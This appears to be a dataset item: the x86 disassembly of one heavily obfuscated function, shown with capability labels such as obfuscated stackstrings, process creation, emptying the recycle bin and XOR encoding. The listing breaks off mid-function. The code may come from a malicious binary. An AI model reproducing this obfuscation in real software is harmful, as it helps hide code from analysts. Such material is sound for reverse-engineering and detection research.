Function at 0x429f50
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get file system object information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x643c
call fcn.0050e000
push esi
mov byte [ebp - 0x1ef1], 0xdc
mov byte [ebp - 0x197d], 0x17
mov dword [ebp - 0x1eec], 0x1bae617
mov dword [ebp - 0x5028], 0xc26a69f9
mov dword [ebp - 0x2434], 0x103470af
mov dword [ebp - 0x1030], 0x97e0a375
mov dword [ebp - 0x5558], 0x66fff030
mov eax, 0x34e
mov word [ebp - 0x29c4], ax
mov ecx, 0x647
mov word [ebp - 0x5548], cx
mov dword [ebp - 0x5544], 0xc8bbb6b
mov dword [ebp - 0x5538], 0xb21fc26
mov byte [ebp - 0x29a9], 0xce
mov edx, 0x406
mov word [ebp - 0x319c], dx
mov eax, 0x8c5
mov word [ebp - 0x5aac], ax
mov byte [ebp - 0x5515], 0x5d
mov ecx, 0xb91
mov word [ebp - 0x4fec], cx
mov dword [ebp - 0x41a0], 0x12551697
mov dword [ebp - 0x1930], 0x7be50822
mov dword [ebp - 0x5500], 0x2a77a1d2
mov dword [ebp - 0x4fd8], 0x768fd9e1
mov dword [ebp - 0x1924], 0x434de204
mov byte [ebp - 0x3169], 0x2b
mov edx, 0xbdc
mov word [ebp - 0x23a4], dx
mov eax, 0x59b
mov word [ebp - 0xabc], ax
mov byte [ebp - 0x5a61], 0x51
mov dword [ebp - 0xaa0], 0x24cef8df
mov dword [ebp - 0x1904], 0x58049c6f
mov byte [ebp - 0x5a49], 0x1d
mov dword [ebp - 0x414c], 0xbe5c0ee5
mov ecx, 0x55ab
mov word [ebp - 0xa84], cx
mov dword [ebp - 0x4aec], 0x2a36793b
mov dword [ebp - 0x36c8], 0x4173ab0a
mov edx, 0x9ea
mov word [ebp - 0x36c0], dx
mov eax, 0xd48
mov word [ebp - 0x3b98], ax
mov dword [ebp - 0x510], 0x46da3eb
mov dword [ebp - 0x2370], 0x7b4bd443
mov dword [ebp - 0x4a98], 0x2aa924bb
mov byte [ebp - 0x367e], 0xcd
mov byte [ebp - 0x5fed], 0x2a
mov byte [ebp - 0x3b85], 0x79
mov dword [ebp - 0x3108], 0x15e68a78
mov byte [ebp - 0xf3d], 0xf8
mov ecx, 0xabe
mov word [ebp - 0x18b8], cx
mov dword [ebp - 0x1dd8], 0xd46521f9
mov dword [ebp - 0x59ac], 0x943f07b9
mov dword [ebp - 0x3648], 0xfeb24ba
mov dword [ebp - 0x40f4], 0xb49c080
mov dword [ebp - 0x2338], 0x81836f6e
mov byte [ebp - 0xa25], 0x9f
mov edx, 0xd4
mov word [ebp - 0x543c], dx
mov byte [ebp - 0x4a11], 0x69
mov dword [ebp - 0x4ed8], 0x356ee779
mov dword [ebp - 0x4a10], 0x73b0c062
mov byte [ebp - 0x2e1a], 0x86
mov dword [ebp - 0x5984], 0xb30bb23c
mov dword [ebp - 0x361c], 0x838c0249
mov dword [ebp - 0xf00], 0x57335580
mov dword [ebp - 0x35bc], 0x4638b83
mov byte [ebp - 0x2831], 0x14
mov byte [ebp - 0x359d], 0x45
mov dword [ebp - 0x9c8], 0x78fdc0f0
mov dword [ebp - 0x49e4], 0xb900ab3d
mov dword [ebp - 0x359c], 0xa44c7c9a
mov dword [ebp - 0x49e0], 0x75b4c7c4
mov eax, 0xf0d
mov word [ebp - 0x2df4], ax
mov ecx, 0x4125
mov word [ebp - 0x49c4], cx
mov edx, 0x1254
mov word [ebp - 0x22f0], dx
mov dword [ebp - 0x49c0], 0x7542f5af
mov eax, 0xcee
mov word [ebp - 0x1d14], ax
mov byte [ebp - 0x27d5], 0xf7
mov dword [ebp - 0x355c], 0x1b447301
mov byte [ebp - 0x40ab], 0xdc
mov ecx, 0x9e7
mov word [ebp - 0xec4], cx
mov edx, 0x88a
mov word [ebp - 0x3548], dx
mov dword [ebp - 0x49a0], 0x4d14ea4c
mov byte [ebp - 0x53b5], 4
mov dword [ebp - 0x3544], 0x2d95e121
mov byte [ebp - 0x17d1], 0xc4
mov dword [ebp - 0x4088], 0x5b71ea90
mov dword [ebp - 0x407c], 0x589206ce
mov dword [ebp - 0x418], 0x5a9f3b19
mov dword [ebp - 0x4968], 0x4aff292f
mov dword [ebp - 0x2220], 0x331136b1
mov dword [ebp - 0x5384], 0x61a27b4d
mov dword [ebp - 0x3aac], 0x93397e8
mov dword [ebp - 0x3aa8], 0x5ba883e4
mov byte [ebp - 0x401], 0x30
mov dword [ebp - 0x4e10], 0x54531b8a
mov byte [ebp - 0x1c75], 0x66
mov dword [ebp - 0x5ed4], 0x7e956633
mov dword [ebp - 0x2768], 0x6526f6ee
mov dword [ebp - 0x4660], 0xd40da85a
mov byte [ebp - 0x589e], 0x20
mov dword [ebp - 0x5368], 0x7557d446
mov byte [ebp - 0x535d], 0xcf
mov dword [ebp - 0x4028], 0x32fbb724
mov eax, 0x6a4b
mov word [ebp - 0x390], ax
mov ecx, 0xf
mov word [ebp - 0x3a10], cx
mov byte [ebp - 0xe35], 0x74
mov dword [ebp - 0x5844], 0x77920b7e
mov dword [ebp - 0x3fe4], 0x29183d83
mov byte [ebp - 0x5e69], 0x85
mov byte [ebp - 0x37d], 0x62
mov byte [ebp - 0x2701], 0x3d
mov dword [ebp - 0x378], 0x38931496
mov dword [ebp - 0x52f8], 0x7a0e7771
mov edx, 0x1da0
mov word [ebp - 0x219c], dx
mov eax, 0x440
mov word [ebp - 0x1be0], ax
mov byte [ebp - 0x345a], 0xa5
mov dword [ebp - 0x581c], 0x28b8c204
mov dword [ebp - 0xe1c], 0x577a6829
push 0
push 0
push 0
lea ecx, [ebp - 0x2cc8]
call fcn.0050dfa0
push 0
push 0
push 0
lea ecx, [ebp - 0x358]
call fcn.0050dfa0
mov ecx, 0xd35
mov word [ebp - 0x52d0], cx
mov byte [ebp - 0x301], 0x2b
mov dword [ebp - 0x52bc], 0x84464df1
mov dword [ebp - 0x12d4], 0x2b8d2059
mov dword [ebp - 0x3f60], 0x12012207
mov dword [ebp - 0x2130], 0x6c204aa0
mov byte [ebp - 0x831], 0xf7
mov dword [ebp - 0x2e8], 0x111cc2d8
mov edx, 0x4ddc
mov word [ebp - 0x1bb0], dx
mov dword [ebp - 0x45b4], 0x94359152
mov eax, 0xd79
mov word [ebp - 0x2c78], ax
mov dword [ebp - 0x527c], 0x7b5263ba
mov ecx, 0xffc
mov word [ebp - 0x824], cx
mov byte [ebp - 0x2c5d], 8
mov dword [ebp - 0x3f38], 0x62090249
mov dword [ebp - 0x2c5c], 0x60996bb2
mov edx, 0x5c1
mov word [ebp - 0x1298], dx
mov dword [ebp - 0x2bc], 0x797b8c20
mov byte [ebp - 0x1b7e], 0xac
mov byte [ebp - 0x1285], 0x63
mov eax, 0x36d2
mov word [ebp - 0xdbc], ax
mov ecx, 0xa7f
mov word [ebp - 0x5d78], cx
mov byte [ebp - 0x3f05], 0x5f
mov dword [ebp - 0x525c], 0x31c70a28
mov dword [ebp - 0x288], 0x6b5dcae8
mov edx, 0x9e2
mov word [ebp - 0x1b5c], dx
mov dword [ebp - 0x1254], 0x6ccfe6d0
mov byte [ebp - 0x5775], 0xc3
mov dword [ebp - 0x2644], 0x5e339eab
mov eax, 0xf7d
mov word [ebp - 0x2638], ax
mov byte [ebp - 0x1b4d], 0x50
mov byte [ebp - 0x2632], 0xe
mov byte [ebp - 0xd75], 0xc7
mov dword [ebp - 0x5d3c], 0x40f00ab0
mov dword [ebp - 0x20cc], 0x52b640ca
mov ecx, 0xfc1
mov word [ebp - 0x24c], cx
mov dword [ebp - 0xd44], 0x6a4f2df4
mov edx, 0xd10
mov word [ebp - 0x3eb4], dx
mov dword [ebp - 0x3eb0], 0xe4cb1e70
mov byte [ebp - 0x4ce9], 6
mov dword [ebp - 0x3924], 0x18a9d4b1
mov eax, 0x8eb
mov word [ebp - 0x3e9c], ax
mov byte [ebp - 0x221], 0xa
mov ecx, 0xdc7
mov word [ebp - 0x1208], cx
mov edx, 0x6fb
mov word [ebp - 0x20c], dx
mov eax, 0x499f
mov word [ebp - 0x2bbc], ax
mov ecx, 0x9ca
mov word [ebp - 0x11f0], cx
mov edx, 0xb00
mov word [ebp - 0x190], dx
mov dword [ebp - 0x4488], 0x292b38a3
mov eax, 0xfc4
mov word [ebp - 0x2058], ax
mov dword [ebp - 0x180], 0x2b0804d7
mov ecx, 0x1f3
mov word [ebp - 0x3e34], cx
mov dword [ebp - 0x5cb8], 0xfffd60de
mov dword [ebp - 0x5cb4], 0x77e774e7
mov byte [ebp - 0xce1], 0x5b
mov dword [ebp - 0x11a8], 0x2232dcc3
mov dword [ebp - 0x168], 0x52df407a
mov dword [ebp - 0x1a8c], 0xb779193
mov edx, 0x6c
mov word [ebp - 0x56c4], dx
mov dword [ebp - 0x4c88], 0x4c7467f3
mov dword [ebp - 0x5150], 0x62fe7acc
mov dword [ebp - 0x38b8], 0x617b9ca0
mov dword [ebp - 0x5c90], 0x3b581f7f
mov dword [ebp - 0xe0], 0x296885e9
mov dword [ebp - 0xd8], 0x6e370a10
mov eax, 0x19f5
mov word [ebp - 0x2568], ax
mov dword [ebp - 0x2564], 0x33ec7d7b
mov dword [ebp - 0x5c64], 0x717a3d29
mov byte [ebp - 0x4c5d], 0x7a
mov dword [ebp - 0x200c], 0xac122f4d
mov byte [ebp - 0x4c55], 0x3c
mov dword [ebp - 0x32a4], 0x3707b570
mov ecx, 0x75a
mov word [ebp - 0x4c54], cx
mov dword [ebp - 0x5108], 0x65fc1877
mov dword [ebp - 0x1134], 0x360f0ed8
mov edx, 0xae5
mov word [ebp - 0x4374], dx
mov dword [ebp - 0x5664], 0x22eff50b
mov eax, 0xaa8
mov word [ebp - 0x6d4], ax
mov ecx, 0x3d27
mov word [ebp - 0x50f8], cx
mov edx, 0xe1c
mov word [ebp - 0x3da4], dx
mov byte [ebp - 0x6c2], 0xb0
mov eax, 0x878
mov word [ebp - 0x1a10], ax
mov ecx, 0xe20
mov word [ebp - 0x98], cx
mov dword [ebp - 0x50e0], 0x6594857c
mov byte [ebp - 0x3855], 1
mov dword [ebp - 0x1a08], 0x192d32cd
mov dword [ebp - 0x3854], 0x6efe9347
mov edx, 0xcc
mov word [ebp - 0x4c30], dx
mov dword [ebp - 0x3d6c], 0x1d0c7537
mov eax, 0x4af
mov word [ebp - 0x6b0], ax
mov dword [ebp - 0x5bf8], 0x78e3a671
mov dword [ebp - 0x2a88], 0x32e9ea97
mov dword [ebp - 0x3d58], 0x241ae9a1
mov dword [ebp - 0x10cc], 0x4defc3bd
mov dword [ebp - 0x42f4], 0x38db088
mov byte [ebp - 0xbdd], 0xc0
mov dword [ebp - 0x42dc], 0x12a1f20b
mov ecx, 0x50d
mov word [ebp - 0x3808], cx
mov dword [ebp - 0x42c4], 0x4a8a87ef
mov dword [ebp - 0x55cc], 0x4fddff5b
push 0
push 0
push 0
lea ecx, [ebp - 0x10a8]
call fcn.0050dfa0
mov dword [ebp - 0x1f38], 0x75c1a0fe
mov dword [ebp - 0x4bc0], 0x548585e6
mov dword [ebp - 0x3cac], 0x5e3bf8cf
mov dword [ebp - 0x2a10], 0xd8afac4f
mov byte [ebp - 0x1f29], 0x76
mov byte [ebp - 0x37be], pe_nt_image_headers32
mov dword [ebp - 0x61c], 0xae96972
mov edx, 0x25f9
mov word [ebp - 0x1f18], dx
mov dword [ebp - 0x4bac], 0x7666944c
mov eax, 0xf90
mov word [ebp - 0xb60], ax
mov byte [ebp - 0x5045], 0x78
mov ecx, 0x870
mov word [ebp - 0x3ca4], cx
mov byte [ebp - 0x503f], 0xc1
mov byte [ebp - 0xb55], 0x95
mov dword [ebp - 0xb50], 0x59a5e729
mov dword [ebp - 0x1068], 0x2654fff8
mov dword [ebp - 0x4b94], 0xdbee44ff
mov dword [ebp - 0x31ec], 0x4917aad5
mov byte [ebp - 0xb41], 0x39
mov dword [ebp - 0x5034], 0x597b0035
mov byte [ebp - 0x1985], 0x80
cmp dword [ebp + 0x14], 0xa91ebde2
jae 0x42a95d
mov edx, dword [ebp + 0x14]
add edx, 0x6acf320e
cmp edx, 0x2074cd69
je 0x42a8fa
mov eax, dword [section..data]
mov dword [ebp - 0x27d0], eax
mov dword [ebp - 0x38e8], 0x106ac
mov cl, byte [ebp + 0x18]
mov byte [ebp - 0x60ec], cl
cmp byte [ebp - 0x60ec], 0
je 0x42a8d8
cmp byte [ebp - 0x60ec], 0xf7
je 0x42a8bf
jmp 0x42a8f8
call fcn.0046d040
mov edx, dword [section..data]
xor edx, 0x21c737a9
mov dword [ebp - 0x27d0], edx
jmp 0x42a8f8
mov eax, dword [ebp - 0x27d0]
mov ecx, dword [section..data]
shl eax, cl
mov dword [ebp - 0x3cac], eax
mov ecx, 0x7bd
mov word [ebp - 0x5668], cx
jmp 0x42a933
mov edx, dword [ebp + 0x14]
and edx, 0xb561d423
cmp edx, 0x89eac639
jbe 0x42a933
push 0xff
mov eax, dword [ebp - 0x2790]
push eax
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [ebp - 0xe9c], eax
movzx ecx, word [ebp - 0x5668]
sar ecx, 8
mov word [ebp - 0x5668], cx
mov dl, byte [ebp + 8]
mov byte [ebp - 0x3cc2], dl
lea eax, [ebp - 0x3cac]
mov dword [ebp - 0x5ab4], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xee0], ecx
mov dword [ebp - 0x508c], 0x7e9
jmp 0x42a980
mov edx, dword [ebp + 0x14]
sub edx, 0x16cbb3af
cmp edx, 0x1015f1c3
jne 0x42a980
movzx eax, byte [ebp + 0x18]
push eax
movzx ecx, word [ebp - 0x5668]
push ecx
call section..text
movsx edx, word [ebp + 0x10]
mov dword [ebp - 0x60f0], edx
cmp dword [ebp - 0x60f0], 0
je 0x42a9a8
cmp dword [ebp - 0x60f0], 0x769
je 0x46cf7c
jmp 0x46d018
mov al, byte [ebp + 0x18]
mov byte [ebp - 0x9b9], al
mov cx, word [ebp - 0x5668]
mov word [ebp - 0x1ff8], cx
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x2b4c], edx
mov al, byte [ebp - 0x9b9]
mov byte [ebp - 0x60f4], al
cmp byte [ebp - 0x60f4], 0
je 0x42a9eb
cmp byte [ebp - 0x60f4], 0xc1
je 0x42aa13
jmp 0x42aa8a
lea ecx, [ebp - 0x27d0]
mov dword [ebp - 0x5f8c], ecx
lea edx, [ebp - 0x3cc2]
mov dword [ebp - 0x5cc4], edx
mov ax, word [ebp - 0x5668]
mov word [ebp - 0x2df0], ax
jmp 0x42aa8a
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x60f8], cl
cmp byte [ebp - 0x60f8], 0x74
je 0x42aa2a
jmp 0x42aa81
mov edx, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0x1ff8]
call fcn.004721c0
lea edx, [ebp - 0x47c]
push edx
lea eax, [ebp - 0x51a8]
push eax
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0xa8c], eax
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
add ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x9b9]
push ecx
movzx edx, word [ebp - 0x2df0]
push edx
call section..text
jmp 0x42aa8a
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x26b8], eax
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x26b8]
add edx, dword [ebp - 0xee0]
cmp ecx, edx
jae 0x42aae1
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
lea ecx, [ebp - 0x2df0]
push ecx
lea edx, [ebp - 0x26b8]
push edx
push str.sines_globetrotters
lea eax, [ebp - 0x27dc]
push eax
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x840], eax
movzx ecx, word [ebp - 0x5668]
mov dword [ebp - 0x60fc], ecx
cmp dword [ebp - 0x60fc], 0x876
je 0x42aaff
jmp 0x42ac30
movzx edx, word [ebp - 0x5668]
mov dword [ebp - 0x6100], edx
cmp dword [ebp - 0x6100], 0x37f
je 0x42ac11
cmp dword [ebp - 0x6100], 0x686
je 0x42ab2d
jmp 0x42ac2b
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3cac]
mov dword [ebp - 0x27d0], ecx
movsx edx, word [ebp + 0x10]
mov dword [ebp - 0x6104], edx
cmp dword [ebp - 0x6104], 0xac8
je 0x42ab6c
cmp dword [ebp - 0x6104], 0x3328
je 0x42abed
jmp 0x42ac0f
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
add ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
lea ecx, [ebp - 0x3cc2]
push ecx
lea edx, [ebp - 0x888]
push edx
lea eax, [ebp - 0x2b4c]
push eax
lea ecx, [ebp - 0x27d0]
push ecx
call dword [sym.imp.ole32.dll_CoGetObject]
mov dword [ebp - 0x5b94], eax
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
add eax, dword [ecx]
mov dword [ebp - 0x27d0], eax
mov edx, dword [ebp - 0x27d0]
sub edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
lea ecx, [ebp - 0x27d0]
push ecx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x20d0], eax
jmp 0x42ac0f
movzx edx, byte [ebp + 0x18]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
call fcn.004d1cd0
movzx ecx, byte [ebp + 0x18]
and ecx, 0x88
mov byte [ebp - 0x9b9], cl
jmp 0x42ac2b
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
sub eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
jmp 0x46ce9c
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [ebp - 0x27d0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3cac]
cmp ecx, eax
jl 0x46ce49
movsx ecx, word [ebp + 0x10]
cmp ecx, 0x7152
jl 0x42ad2a
movsx edx, word [ebp + 0x10]
mov dword [ebp - 0x6108], edx
cmp dword [ebp - 0x6108], 0x2377
je 0x42ad17
cmp dword [ebp - 0x6108], 0x7205
je 0x42ac8f
jmp 0x42ad2a
mov eax, dword [ebp - 0x27d0]
push eax
movzx ecx, byte [ebp - 0x9b9]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0xee0]
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
lea eax, [ebp - 0x11dc]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x42e4], eax
movzx ecx, word [ebp - 0x2df0]
push ecx
movzx edx, byte [ebp - 0x3cc2]
push edx
movzx eax, word [ebp + 0x10]
push eax
mov dl, byte [ebp + 0x18]
mov cl, byte [ebp - 0x9b9]
call fcn.00478870
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
jmp 0x42ad2a
lea edx, [ebp - 0x2190]
push edx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x27d0], eax
mov dword [ebp - 0x37bc], 0x2c65
cmp dword [ebp - 0x508c], 0x4b
jbe 0x42aeeb
movzx eax, byte [ebp + 0x18]
or eax, 0x9d
mov byte [ebp - 0x9b9], al
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp + 0xc]
shl edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x27d0]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3cac]
mov dword [ebp - 0x27d0], edx
mov eax, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x27d0]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
sub ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov cl, byte [ebp - 0x9b9]
mov byte [ebp + 0x18], cl
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
add eax, dword [ebp - 0x42e4]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2b4c]
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
mov dword [ebp - 0x42e4], ecx
mov edx, dword [ebp - 0x3cac]
sub edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
and edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 8]
add edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
movzx edx, byte [ebp + 0x18]
sub edx, 0xed
mov byte [ebp - 0x9b9], dl
mov eax, dword [ebp - 0x508c]
sub eax, 0xc3
mov dword [ebp - 0x508c], eax
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x5668]
add ecx, edx
mov word [ebp - 0x2df0], cx
mov eax, dword [ebp - 0x2b4c]
mov ecx, dword [ebp - 0xee0]
shr eax, cl
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movsx edx, byte [ebp + 0xc]
movsx eax, byte [ebp - 0x3cc2]
or edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp + 8]
shl eax, cl
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], al
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
and edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
jmp 0x42ad34
lea edx, [ebp - 0x3cac]
mov dword [ebp - 0x4d68], edx
mov dword [ebp - 0x5284], 0x7c31
cmp dword [ebp - 0x38e8], 0xa472
jbe 0x42b211
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x3cac]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x26b8]
add eax, dword [ebp + 0x14]
mov dword [ebp - 0xee0], eax
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
sub edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ecx]
add edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3cac], eax
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 8]
add edx, eax
mov byte [ebp - 0x3cc2], dl
movzx ecx, byte [ebp - 0x9b9]
xor ecx, 0xee
mov byte [ebp + 0x18], cl
movzx edx, byte [ebp - 0x9b9]
or edx, 0x3f
mov byte [ebp + 0x18], dl
mov eax, dword [ebp - 0x5cc4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x3cc2]
sar edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov edx, dword [ebp - 0x2b4c]
mov ecx, dword [ebp + 0x14]
shl edx, cl
mov dword [ebp - 0xee0], edx
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp + 8], cl
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x27d0]
and eax, dword [edx]
mov dword [ebp - 0x3cac], eax
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
sub ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
add edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
sub eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4d68]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x42e4]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
add ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, 0x5cc9
mov word [ebp + 0x10], cx
movsx edx, byte [ebp + 0xc]
movsx eax, byte [ebp - 0x3cc2]
or edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 8]
sar edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3cac]
shl edx, cl
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp + 8]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
mov eax, dword [ebp - 0x38e8]
sub eax, 0xfe
mov dword [ebp - 0x38e8], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2b4c]
and edx, dword [ebp - 0xee0]
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3cac]
mov dword [ebp - 0x27d0], ecx
movzx edx, byte [ebp - 0x9b9]
sub edx, 0x72
mov byte [ebp + 0x18], dl
movsx eax, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 8]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
movzx eax, byte [ebp + 0x18]
add eax, 0x1b
mov byte [ebp - 0x9b9], al
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
sub edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
jmp 0x42af01
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp + 8]
add eax, ecx
movsx edx, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 0xc]
sub edx, ecx
cmp eax, edx
jne 0x42b2fd
mov edx, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x27d0]
sar edx, cl
mov dword [ebp - 0x42e4], edx
mov eax, dword [ebp - 0x42e4]
mov dword [ebp - 0x2960], eax
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2960]
shl edx, cl
